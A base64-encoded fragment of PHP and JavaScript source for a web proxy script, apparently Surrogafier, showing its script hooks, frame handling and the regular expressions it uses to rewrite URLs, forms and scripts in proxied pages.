7DQoJaWYoYXJndW1lbnRzLmxlbmd0aDwyKSByZXR1cm47DQoJYXJndW1lbnRzWzBdPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4ucGFyc2VfYWxsX2h0bWwoYXJndW1lbnRzWzBdLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKTsNCglyZXR1cm4gPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5zZXRUaW1lb3V0LmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0Kc2V0SW50ZXJ2YWw9ZnVuY3Rpb24oKXsNCglpZihhcmd1bWVudHMubGVuZ3RoPDIpIHJldHVybjsNCglhcmd1bWVudHNbMF09PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5wYXJzZV9hbGxfaHRtbChhcmd1bWVudHNbMF0sImFwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCIpOw0KCXJldHVybiA8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnNldEludGVydmFsLmFwcGx5KHRoaXMsYXJndW1lbnRzKTsNCn0NCg0KLyogaG9va2luZyBmb3IgZXZhbCgpLCBub3QgbmVjZXNzYXJ5IGFueW1vcmUsIGJ1dCB3b3JrZWQgcmVsYXRpdmVseSB3ZWxsIGluIHRoZSBwYXN0DQovKmV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj1ldmFsOw0KZXZhbD1mdW5jdGlvbigpew0KCWlmKGFyZ3VtZW50cy5sZW5ndGg8MSkgcmV0dXJuOw0KCWFyZ3VtZW50c1swXT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LnBhcnNlX2FsbF9odG1sKGFyZ3VtZW50c1swXSwiYXBwbGljYXRpb24veC1qYXZhc2NyaXB0Iik7DQoJcmV0dXJuIGV2YWxfPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5hcHBseSh0aGlzLmNhbGxlcixhcmd1bWVudHMpOw0KfSovDQoNCi8vIHdyYXAgdG9wIGFuZCBwYXJlbnQgb2JqZWN0cyBmb3IgYW50aS1mcmFtZSBicmVha2luZw0KaWYoPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5QQUdFX0ZSQU1FRCl7DQoJaWYocGFyZW50PT10b3ApIHBhcmVudD1zZWxmOw0KCWlmKHRvcCE9c2VsZikgdG9wPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4udGhldG9wLmZyYW1lc1swXTsNCn0NCg0KLy8gfX19DQoNCi8vPC9zY3JpcHQ+PD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUkVHRVhQUyB7e3sNCg0KIyBUaGlzIGlzIHdoZXJlIGFsbCB0aGUgcGFyc2luZyBpcyBkZWZpbmVkLiAgSWYgYSBzaXRlIGlzbid0IGJlaW5nDQojIHBhcnNlZCBwcm9wZXJseSwgdGhlIHByb2JsZW0gaXMgbW9yZSB0aGFuIGxpa2VseSBpbiB0aGlzIHNlY3Rpb24uDQojIFRoZSByZXN0IG9mIHRoZSBjb2RlIGlzIGp1c3QgdGhlcmUgdG8gc2V0IHVwIHRoaXMgd29uZGVyZnVsIGJ1bmNoDQojIG9mIGluY29tcHJlaGVuc2libGUgcmVndWxhciBleHByZXNzaW9ucy4NCg0KDQojIFJFR0VYUFM6IENPTlZFUlNJT04gVE8gSkFWQVNDUklQVCB7e3sNCg0KZnVuY3Rpb24gYm9vbF90b19qcygkYm9vbCl7IHJldHVybiAoJGJvb2w/J3RydWUnOidmYWxzZScpOyB9DQpmdW5jdGlvbiBjb252ZXJ0YXJyYXlfdG9famF2YXNjcmlwdCgpew0KCWdsb2JhbCAkcmVnZXhwX2FycmF5czsNCgkkanM9J3JlZ2V4cF9hcnJheXM9bmV3IEFycmF5KCcuY291bnQoJHJlZ2V4cF9hcnJheXMpLiIpO1xuIjsNCglyZXNldCgkcmVnZXhwX2FycmF5cyk7DQoJd2hpbGUobGlzdCgka2V5LCRhcnIpPWVhY2goJHJlZ2V4cF9hcnJheXMpKXsNCgkJJGpzLj0icmVnZXhwX2FycmF5c1tcIiRrZXlcIl09bmV3IEFycmF5KCIuY291bnQoJGFycikuIik7XG4iOw0KCQlmb3IoJGk9MDskaTxjb3VudCgkYXJyKTskaSsrKXsNCgkJCSRqcy49InJlZ2V4cF9hcnJheXNbXCIka2V5XCJdWyRpXT1uZXcgQXJyYXkoIjsNCgkJCWlmKCRhcnJbJGldWzBdPT0xKSAkanMuPScxLCcuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVsyXSkuJ2csIicuZXNjYXBlX3JlZ2V4cCgkYXJyWyRpXVszXSx0cnVlKS4nIic7DQoJCQllbHNlaWYoJGFyclskaV1bMF09PTIpICRqcy49JzIsJy5lc2NhcGVfcmVnZXhwKCRhcnJbJGldWzJdKS4iZyx7JGFyclskaV1bM119Ii4oY291bnQoJGFyclskaV0pPDU/bnVsbDonLCcuYm9vbF90b19qcygkYXJyWyRpXVs0XSkpLihjb3VudCgkYXJyWyRpXSk8Nj9udWxsOiIseyRhcnJbJGldWzVdfSIpOw0KCQkJJGpzLj0iKTtcbiI7DQoJCX0NCgl9DQoJcmV0dXJuIHN0cmlwc2xhc2hlcygkanMpOw0KfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFZBUklBQkxFUyB7e3sNCg0KZ2xvYmFsICRyZWdleHBfYXJyYXlzOw0KDQojICdpbWcnIHdhcyBpbiAkanNhdHRycy4uLiB3aGF0J3MgdGhhdCBmb3I/DQokanNhdHRycz0nKD86aHJlZnxzcmN8bG9jYXRpb258YWN0aW9ufGJhY2tncm91bmRJbWFnZXxwbHVnaW5zcGFnZXxjb2RlYmFzZXxsb2NhdGlvblwuaHJlZnxpbm5lckhUTUwpJzsNCiRqc2hvb2thdHRycz0iKD86eyRqc2F0dHJzfXxjb29raWV8c2VhcmNofGhvc3RuYW1lKSI7DQokanNob29rZ2V0YXR0cnM9Iig/OnskanNob29rYXR0cnN9fHVzZXJBZ2VudHxwbGF0Zm9ybXxhcHBDb2RlTmFtZXxhcHBOYW1lfGFwcFZlcnNpb258bGFuZ3VhZ2V8b3NjcHV8cHJvZHVjdHxwcm9kdWN0U3VifHBsdWdpbnMpIjsNCi8vJGpzaHRtbGF0dHJzPScoaW5uZXJIVE1MKSc7DQokanNtZXRob2RzPScobG9jYXRpb25cLig/OnJlcGxhY2V8YXNzaWduKSknOw0KJGpzbG9jaG9zdD0nKGxvY2F0aW9uXC5ob3N0KD86bmFtZSl7MCwxfSknOw0KLy8kanNsb2NzZWFyY2g9Jyhsb2NhdGlvblwuc2VhcmNoKSc7DQovLyRqc3JlYWxwYWdlPScoKD86KD86ZG9jdW1lbnR8d2luZG93KVwuKXswLDF9bG9jYXRpb24oPzooPz1bXlwuXSl8XC5ocmVmKXxkb2N1bWVudFwuZG9jdW1lbnRVUkl8W2Etel0rXC5yZWZlcnJlciknOw0KJGh0bWxhdHRycz0nKGRhdGF8aHJlZnxzcmN8YmFja2dyb3VuZHxwbHVnaW5zcGFnZXxjb2RlYmFzZXxhY3Rpb24pJzsNCg0KJGp1c3RzcGFjZT0iW1x0IF0qIjsNCiRwbHVzanVzdHNwYWNlPSJbXHQgXSsiOw0KJGFueXNwYWNlPSJbXHRcclxuIF0qIjsNCiRwbHVzc3BhY2U9IltcdFxyXG4gXSsiOw0KJG9wZXJhbmRzPSdbXCtcLVwvXCpdJzsNCiRub3RvcGVyYW5kcz0nW15cK1wtXC9cKl0nOw0KDQokcXVvdGVzZWc9Jyg/OiIoPzpbXiJdfFtcXFxcXSIpKj8ifFwnKD86W15cJ118W1xcXFxdXCcpKj9cJyc7DQokcmVnc2VnPSdcLyg/OlteXC9dfFtcXFxcXVwvKSo/XC8nOw0KDQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoKD86eyRxdW90ZXNlZ318eyRqc3ZhcnNlY3R9fCkpXCkpPyI7DQovLyRqc29ianNlY3Q9InskanN2YXJzZWN0fSg/OlwoeyRhbnlzcGFjZX0oPzp7JHF1b3Rlc2VnfXx7JGpzdmFyc2VjdH18KSkoPzp7JGFueXNwYWNlfSx7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKSp7JGFueXNwYWNlfVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KLy8kanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OlteXChcKVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVwpKT8oPzpcWyg/OlteXFtcXVwiJ10qKD86eyRxdW90ZXNlZ318KD9SKSkpKVxdKT8iOw0KLy8kanN2YXJvYmo9Jyg/OlthLXpBLVowLTlcLl9cKFwpXFtcXVwrXC1dKyknOw0KJGpzdmFyc2VjdD0nW2EtekEtWjAtOV9cJF0oPzpbYS16QS1aMC05XCRcLl9cL1xbXF1cKy1dKlthLXpBLVowLTlfXC9cXV0pPyc7DQokanNvYmpzZWN0PSJ7JGpzdmFyc2VjdH0oPzpcKCg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVwpKT8oPzpcWyg/OnskcXVvdGVzZWd9fHskanN2YXJzZWN0fXwpKVxdKT8iOw0KJGpzdmFyb2JqPSJ7JGpzb2Jqc2VjdH0oPzpcLnskanNvYmpzZWN0fSkqIjsNCi8vJGpzcXVvdGVyZWc9IigoPzooPzp7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskYW55c3BhY2V9XCspKil7JGFueXNwYWNlfXskcXVvdGVzZWd9fHskanN2YXJvYmp9KXskanVzdHNwYWNlfSg/PVs7XH1cblxyXSkpIjsgIyBIVUg/DQokanNxdW90ZXNlY3Q9Iig/OnskYW55c3BhY2V9eyRxdW90ZXNlZ318eyRqc3Zhcm9ian0pKSI7DQokanNxdW90ZXJlZz0ieyRqc3F1b3Rlc2VjdH0oPzpcK3skanNxdW90ZXNlY3R9KSoiOw0KDQovLyRub3Rqc3ZhcnNlY3Q9J1teYS16QS1aMC05XC5fXFtcXVwrLV0nOw0KLy8kbm90anN2YXJzZWN0PSdbXmEtekEtWjAtOVwuX1xbXF1cL10nOw0KJG5vdGpzdmFyc2VjdD0nW15hLXpBLVowLTlcLl9cW1xdXSc7DQoNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfVs7XH1cblxyXCdcIl0pIjsNCi8vJGpzZW5kPSIoPz17JGFueXNwYWNlfSg/Ols7XH1dfHskbm90b3BlcmFuZHN9W1xuXHJdKSkiOw0KJGpzZW5kPSIoPz17JGp1c3RzcGFjZX0oPzpbO1x9XG5ccl18eyRub3RvcGVyYW5kc31bXG5ccl0pKSI7DQokbm90anNlbmQ9Iig/IXskanVzdHNwYWNlfSg/Ols7XH1cblxyXXx7JG5vdG9wZXJhbmRzfVtcblxyXSkpIjsNCiRqc2JlZ2luPSIoKD86Wztce1x9XG5cclwoXCldfFtcIT1dPSl7JGFueXNwYWNlfSkiOw0KLy8kanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XG5cclwoXCk9XCtcLVwvXCpdKXskYW55c3BhY2V9KSI7DQokanNiZWdpbnJpZ2h0PSIoKD86Wztce1x9XChcKT1cK1wtXC9cKl0peyRqdXN0c3BhY2V9KSI7DQoNCiRodG1sbm9xdW90PScoPzpbXiJcJ1xcXFxdW14+IF0qKSc7DQokaHRtbG5vcXVvdG5vcW09Jyg/OlteXD8iXCdcXFxcXVteXD8+IF0qKSc7DQokaHRtbHJlZz0iKHskcXVvdGVzZWd9fHskaHRtbG5vcXVvdH0pKSI7DQokeG1saHR0cHJlcT0iKD86WE1MSHR0cFJlcXVlc3R7JGFueXNwYWNlfSg/OlwoeyRhbnlzcGFjZX1cKXwpfEFjdGl2ZVhPYmplY3R7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX1bXlwpXStcLlhNTEhUVFBbJ1wiXXskYW55c3BhY2V9XCkpKD89OykiOw0KJGpzbmV3b2JqPSIoPzp7JGFueXNwYWNlfW5ld3skcGx1c3NwYWNlfXx7JGFueXNwYWNlfSkiOw0KJGZvcm1ub3Rwb3N0PSIoPzooPyFtZXRob2R7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Oid8XCIpP3Bvc3QpW14+XSkiOw0KJGZyYW1ldGFyZ2V0cz0nXyg/OnRvcHxwYXJlbnR8c2VsZiknOw0KDQokanNfc3RyaW5nX21ldGhvZHM9Jyg/OmFuY2hvcnxiaWd8Ymxpbmt8Ym9sZHxjaGFyQXR8Y2hhckNvZGVBdHxjb25jYXR8Zml4ZWR8Zm9udGNvbG9yfGZvbnRzaXplfGZyb21DaGFyQ29kZXxpbmRleE9mfGl0YWxpY3N8bGFzdEluZGV4T2Z8bGlua3xtYXRjaHxyZXBsYWNlfHNlYXJjaHxzbGljZXxzbWFsbHxzcGxpdHxzdHJpa2V8c3VifHN1YnN0cnxzdWJzdHJpbmd8c3VwfHRvTG93ZXJDYXNlfHRvVXBwZXJDYXNlfHRvU291cmNlfHZhbHVlT2YpJzsNCiRqc19zdHJpbmdfYXR0cnM9Jyg/OmNvbnN0cnVjdG9yfGxlbmd0aHxwcm90b3R5cGUpJzsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBKQVZBU0NSSVBUIFBBUlNJTkcge3t7DQoNCiRqc19yZWdleHBfYXJyYXlzPWFycmF5KA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oeyRqc2hvb2tnZXRhdHRyc30peyRhbnlzcGFjZX1cKz0vaSIsJ1wxXDIuXDM9Jy5DT09LX1BSRUYuJy5nZXRBdHRyKFwyLC9cMy8pKycpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC4oKHskanNob29rYXR0cnN9KXskYW55c3BhY2V9PSg/OnskYW55c3BhY2V9eyRqc3Zhcm9ian17JGFueXNwYWNlfT0pKnskYW55c3BhY2V9KSgoPyFcPSkoeyRub3Rqc2VuZH0uKSopeyRqc2VuZH0vaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLC9cNC8sXDUpJyksDQoJYXJyYXkoMSwyLCIveyRqc2JlZ2lucmlnaHR9KHskanN2YXJvYmp9KVwuKHskanNob29rZ2V0YXR0cnN9KShbXlwuPWEtejAtOV9cW1xdXHRcclxuXXxcLnskanNfc3RyaW5nX21ldGhvZHN9XCh8XC57JGpzX3N0cmluZ19hdHRyc317JG5vdGpzdmFyc2VjdH0pL2kiLCdcMScuQ09PS19QUkVGLicuZ2V0QXR0cihcMiwvXDMvKVw0JyksDQoNCglhcnJheSgxLDIsIi8oW15hLXowLTldeyRqc21ldGhvZHN9eyRhbnlzcGFjZX1cKCkoW14pXSopXCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFwzKSknKSwNCglhcnJheSgxLDIsIi8oW15hLXowLTldKWV2YWx7JGFueXNwYWNlfVwoKHskYW55c3BhY2V9eyRqc3Zhcm9ian0pXCkvaSIsJ1wxZXZhbCgnLkNPT0tfUFJFRi4nLnBhcnNlX2FsbF9odG1sKFwyLCJhcHBsaWNhdGlvbi94LWphdmFzY3JpcHQiKSknKSwNCg0KCWFycmF5KDEsMiwiL3skanNiZWdpbn1cLmFjdGlvbnskYW55c3BhY2V9PS9pIiwnXDEuJy5DT09LX1BSRUYuJy52YWx1ZT0nKSwNCgkvL2FycmF5KDEsMiwiL3skanNiZWdpbn0oXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oXCJ8JykoeyRqc2F0dHJzfSkoXFwyKXskYW55c3BhY2V9LHskYW55c3BhY2V9KSguKj8peyRqc2VuZH0vaSIsJ1wxXDInLkNPT0tfUFJFRi4nLnN1cnJvZ2FmeV91cmwoXDYpJyksDQoJLy9hcnJheSgxLDIsIi97JGpzYmVnaW59KFwuc2V0QXR0cmlidXRleyRhbnlzcGFjZX1cKHskYW55c3BhY2V9KFwifCcpKHskanNhdHRyc30pKFxcMil7JGFueXNwYWNlfSx7JGFueXNwYWNlfSkoLio/KXskanNlbmR9L2kiLCdcMVwyJy5DT09LX1BSRUYuJy5zdXJyb2dhZnlfdXJsKFw2KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oeyRqc3Zhcm9ian0pXC5zZXRBdHRyaWJ1dGV7JGFueXNwYWNlfVwoeyRhbnlzcGFjZX0oeyRqc3F1b3RlcmVnfSl7JGFueXNwYWNlfSx7JGFueXNwYWNlfSh7JGpzcXVvdGVyZWd9KXskYW55c3BhY2V9XCkvaSIsJ1wxJy5DT09LX1BSRUYuJy5zZXRBdHRyKFwyLFwzLFw0KScpLA0KCWFycmF5KDEsMiwiL3skanNiZWdpbn0oW15cIHs+XHRcclxuPTtdK3skYW55c3BhY2V9PSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCglhcnJheSgxLDIsIi97JGpzYmVnaW59KHJldHVybnskcGx1c3NwYWNlfSkoeyRqc25ld29ian17JHhtbGh0dHByZXF9KS9pIiwnXDFcMicuQ09PS19QUkVGLicuWE1MSHR0cFJlcXVlc3Rfd3JhcChcMyknKSwNCgkoRU5DUllQVF9VUkxTP2FycmF5KDEsMiwiL3skanNiZWdpbn0oKD86W15cKSBce1x9XSooPzpcKVwuezAsMX0pKSspKFwuc3VibWl0eyRhbnlzcGFjZX1cKFwpKXskanNlbmR9L2kiLCdcMXZvaWQoKFwyLm1ldGhvZD09InBvc3QiP251bGw6XDJcMykpOycpOm51bGwpLA0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBIVE1ML0NTUyBQQVJTSU5HIHt7ew0KDQokcmVnZXhwX2FycmF5cz1hcnJheSgNCgkndGV4dC9odG1sJyA9PiBhcnJheSgNCgkJIyMgZG8gSFRNTCBiYXNlZCBqYXZhc2NyaXB0IHN0dWZmICMgT0xEV0FZDQoJCSNhcnJheSgxLDEsIi8oIG9uW2Etel17MywyMH17JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzooXCIpKFteXCJdKykoXCIpfCgnKShbXiddKykoJykpL2kiLCdcMVwyXDU7XDNcNjtcNFw3JyksICMgT0xEV0FZDQoJCSNhcnJheSgxLDIsIi8oPHNjcmlwdCg/Oig/Oig/ISBzcmN7JGFueXNwYWNlfT0pW14+XSkqKT4pKFtcc1xTXSo/KSg/OnskYW55c3BhY2V9KD86XC9cLyk/eyRhbnlzcGFjZX0tLT57JGFueXNwYWNlfSk/PFwvc2NyaXB0Pi9pIiwnXDFcMjsnLkNPT0tfUFJFRi4nLnB1cmdlKCk7Ly8tLT48L3NjcmlwdD4nKSwgIyBPTERXQVkNCg0KCQkjIHRhcmdldCBhdHRyDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFP2FycmF5KDEsMSwiLyg8W2Etel1bXj5dKnskYW55c3BhY2V9KSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/OnskZnJhbWV0YXJnZXRzfXwoJyl7JGZyYW1ldGFyZ2V0c30nfChcIil7JGZyYW1ldGFyZ2V0c31cIikvaSIsJ1wxJyk6bnVsbCksDQoJCShQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FRF9DSElMRD9hcnJheSgxLDEsIi8oPFthLXpdW14+XSp7JGFueXNwYWNlfSB0YXJnZXR7JGFueXNwYWNlfT17JGFueXNwYWNlfSkoPzpfdG9wfCgnKV90b3AnfChcIilfdG9wXCIpL2kiLCdcMVwyXDMnLkNPT0tfUFJFRi4nX3RvcFwyXDMnKTpudWxsKSwNCg0KCQkjIGRlYWwgd2l0aCA8Zm9ybT5zDQoJCWFycmF5KDEsMSwiLyg8Zm9ybXskZm9ybW5vdHBvc3R9Kj8pKD86eyRwbHVzc3BhY2V9YWN0aW9ueyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9KSh7JGZvcm1ub3Rwb3N0fSopPi9pIiwnXDFcMz48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIGNsYXNzPSInLkNPT0tfUFJFRi4nIiB2YWx1ZT1cMiAvPicpLA0KCQlhcnJheSgyLDEsIi88aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJcIiBjbGFzcz1cIiIuQ09PS19QUkVGLiJcIiB2YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfSBcLz4vaSIsMSxmYWxzZSksDQoJCWFycmF5KDEsMSwnLyg8Zm9ybVtePl0qPyk+L2knLCdcMSB0YXJnZXQ9Il9zZWxmIicuKEVOQ1JZUFRfVVJMUz8nIG9uc3VibWl0PSJyZXR1cm4gJy5DT09LX1BSRUYuJy5mb3JtX2VuY3J5cHQodGhpcyk7Ij4nOic+JykpLA0KCQlhcnJheSgxLDEsIi8oPGZvcm17JGZvcm1ub3Rwb3N0fSspPig/ITwhLS0iLkNPT0tfUFJFRi4nLS0+KS9pJywnXDEgdGFyZ2V0PSJfcGFyZW50Ij48IS0tJy5DT09LX1BSRUYuJy0tPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IiIgdmFsdWU9Il8iPicpLA0KDQoJCSMgZGVhbCB3aXRoIHRoZSBmb3JtIGJ1dHRvbiBmb3IgZW5jcnlwdGVkIFVSTHMNCgkJKEVOQ1JZUFRfVVJMUz9hcnJheSgxLDEsIi8oPGlucHV0W14+XSo/IHR5cGV7JGFueXNwYWNlfT17JGFueXNwYWNlfSg/Olwic3VibWl0XCJ8J3N1Ym1pdCd8c3VibWl0KVtePl0qP1teXC9dKSgoPzpbIF0/W1wvXSk/PikvaSIsJ1wxIG9uY2xpY2s9IicuQ09PS19QUkVGLidfZm9ybV9idXR0b249dGhpcy5uYW1lOyJcMicpOm51bGwpLA0KDQoJCSMgcGFyc2UgYWxsIHRoZSBvdGhlciB0YWdzDQoJCWFycmF5KDIsMSwiLzxbYS16XVtePl0qeyRwbHVzc3BhY2V9eyRodG1sYXR0cnN9eyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDIpLA0KCQlhcnJheSgyLDEsIi88cGFyYW1bXj5dKnskcGx1c3NwYWNlfW5hbWV7JGFueXNwYWNlfT17JGFueXNwYWNlfVtcIiddP21vdmllW14+XSp7JHBsdXNzcGFjZX12YWx1ZXskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxKSwNCgkJYXJyYXkoMiwyLCIvPHNjcmlwdFtePl0qP3skcGx1c3NwYWNlfXNyY3skYW55c3BhY2V9PXskYW55c3BhY2V9KFtcIiddKXskYW55c3BhY2V9KC4qP1teXFxcXF0pXFwxW14+XSo+eyRhbnlzcGFjZX08XC9zY3JpcHQ+L2kiLDIpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPGEoPzpyZWEpP3skcGx1c3NwYWNlfVtePl0qaHJlZnskYW55c3BhY2V9PXskYW55c3BhY2V9eyRodG1scmVnfS9pIiwxLGZhbHNlLE5FV19QQUdFVFlQRV9GUkFNRV9UT1ApOm51bGwpLA0KCQkoVVJMX0ZPUk0gJiYgUEFHRV9GUkFNRUQ/YXJyYXkoMiwxLCIvPFtpXT9mcmFtZXskcGx1c3NwYWNlfVtePl0qc3JjeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9L2kiLDEsZmFsc2UsUEFHRVRZUEVfRlJBTUVEX0NISUxEKTpudWxsKQ0KCSksDQoNCgkndGV4dC9jc3MnID0+IGFycmF5KA0KCQlhcnJheSgyLDEsIi9bXmEtel11cmxcKHskYW55c3BhY2V9KCYoPzpxdW90fCMoPzozWzQ5XSkpO3xcInwnKSguKj9bXlxcXFxdKShcXDEpeyRhbnlzcGFjZX1cKS9pIiwyKSwNCgkJYXJyYXkoMiwxLCIvW15hLXpddXJsXCh7JGFueXNwYWNlfSgoPyEmKD86cXVvdHwjKD86M1s0OV0pKTspW15cIidcXFxcXS4qP1teXFxcXF0peyRhbnlzcGFjZX1cKS9pIiwxKSwNCgkJYXJyYXkoMiwxLCIvQGltcG9ydHskcGx1c3NwYWNlfSgmKD86cXVvdHwjKD86M1s0OV0pKTt8XCJ8JykoLio/W15cXFxcXSkoXFwxKTsvaSIsMikNCgkpLA0KDQoJJ2FwcGxpY2F0aW9uL3gtamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMsDQoJJ3RleHQvamF2YXNjcmlwdCcgPT4gJGpzX3JlZ2V4cF9hcnJheXMNCik7DQoNCiMgfX19DQoNCiMgUkVHRVhQUzogSU5TRVJUIEpBVkFTQ1JJUFQgUkVHRVhQUyB7e3sNCg0KaWYoUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwcycgfHwgUVVFUllfU1RSSU5HPT0nanNfcmVnZXhwc19mcmFtZWQnKXsgPz4vLzxzY3JpcHQ+DQo8P3BocCBlY2hvKGNvbnZlcnRhcnJheV90b19qYXZhc2NyaXB0KCkuKCghZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX29iamVjdHMnXSkpPydyZWdleHBfYXJyYXlzWyJ0ZXh0L2h0bWwiXS5wdXNoKEFycmF5KDEsLzxbXFxcXC9dPyhlbWJlZHxwYXJhbXxvYmplY3QpW14+XSo+L2lnLCIiKSk7JzpudWxsKSk7ID8+DQovLzwvc2NyaXB0Pjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIFJFR0VYUFM6IFNFUlZFUi1TSURFIE9OTFkgUEFSU0lORyB7e3sNCg0KYXJyYXlfcHVzaCgkcmVnZXhwX2FycmF5c1sndGV4dC9odG1sJ10sDQoJYXJyYXkoMiwxLCIvPG1ldGFbXj5dKnskcGx1c3NwYWNlfWh0dHAtZXF1aXZ7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpcmVmcmVzaFxcMVtePl0qIGNvbnRlbnR7JGFueXNwYWNlfT17JGFueXNwYWNlfShbXCInXXwpWyAwLTlcLjtcdFxcclxuXSp1cmw9KC4qPylcXDJbXj5dKj4vaSIsMyx0cnVlLE5FV19QQUdFVFlQRV9GUkFNRURfUEFHRSksDQoJYXJyYXkoMSwxLCIvKDxtZXRhW14+XSp7JHBsdXNzcGFjZX1odHRwLWVxdWl2eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0oW1wiJ118KXNldC1jb29raWVcXDJbXj5dKiBjb250ZW50eyRhbnlzcGFjZX09eyRhbnlzcGFjZX0pKFtcIiddKSguKj9bXlxcXFxdKXskYW55c3BhY2V9XFwzL2kiLCdcMVwzJy5QQUdFQ09PS19QUkVGSVguJ1w0XDMnKQ0KKTsNCg0KIyB9fX0NCg0KIyBSRUdFWFBTOiBDTEVBTlVQIHt7ew0KDQojIG5lZWRlZCBsYXRlciwgYnV0ICRhbnlzcGFjZSBhbmQgJGh0bWxyZWcgYXJlIHVuc2V0IGJlbG93DQpkZWZpbmUoJ0JBU0VfUkVHRVhQJywiPGJhc2VbXj5dKiBocmVmeyRhbnlzcGFjZX09eyRhbnlzcGFjZX17JGh0bWxyZWd9W14+XSo+Iik7DQpkZWZpbmUoJ0VORF9PRl9TQ1JJUFRfVEFHJywiKD86eyRhbnlzcGFjZX0oPzpcL1wvKT97JGFueXNwYWNlfS0tPnskYW55c3BhY2V9KT88XC9zY3JpcHQ+Iik7DQpkZWZpbmUoJ1JFR0VYUF9TQ1JJUFRfT05FVkVOVCcsIiggb25bYS16XXszLDIwfT0oPzpcIlteXCJdK1wifCdbXiddKyd8W15cIicgPl1bXiA+XStbXlwiJyA+XSl8IGhyZWY9KD86XCJ7JGFueXNwYWNlfWphdmFzY3JpcHQ6W15cIl0rXCJ8J3skYW55c3BhY2V9amF2YXNjcmlwdDpbXiddKyd8eyRhbnlzcGFjZX1qYXZhc2NyaXB0OlteXCInID5dW14gPl0rW15cIicgPl0pKSIpOw0KDQp1bnNldCgkanNhdHRycywkanNob29rYXR0cnMsJGpzbWV0aG9kcywkanNsb2Nob3N0LCRodG1sYXR0cnMsDQogICAgICAkYW55c3BhY2UsJHBsdXNzcGFjZSwkb3BlcmFuZHMsJG5vdG9wZXJhbmRzLA0KICAgICAgJHF1b3Rlc2VnLCRyZWdzZWcsDQogICAgICAkanN2YXJzZWN0LCRqc29ianNlY3QsJGpzdmFyb2JqLCRqc3F1b3Rlc2VjdCwkanNxdW90ZXJlZywNCiAgICAgICRub3Rqc3ZhcnNlY3QsDQogICAgICAkanNlbmQsJG5vdGpzZW5kLCRqc2JlZ2luLCRqc2JlZ2lucmlnaHQsDQogICAgICAkaHRtbG5vcXVvdCwkaHRtbG5vcXVvdG5vcW0sJGh0bWxyZWcsJHhtbGh0dHByZXEsJGpzbmV3b2JqLCRmb3Jtbm90cG9zdCwkZnJhbWV0YXJnZXRzLA0KICAgICAgJGpzX3N0cmluZ19tZXRob2RzLCRqc19zdHJpbmdfYXR0cnMsDQogICAgICAkanNfcmVnZXhwX2FycmF5cw0KKTsNCg0KIyB9fX0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlMge3t7DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBBVVJMIENMQVNTIHt7ew0KDQojIGNsYXNzIGZvciBVUkwNCmNsYXNzIGF1cmx7DQoJdmFyICR1cmwsJHRvcHVybCwkbG9ja2VkOw0KCXZhciAkcHJvdG8sJHVzZXJwY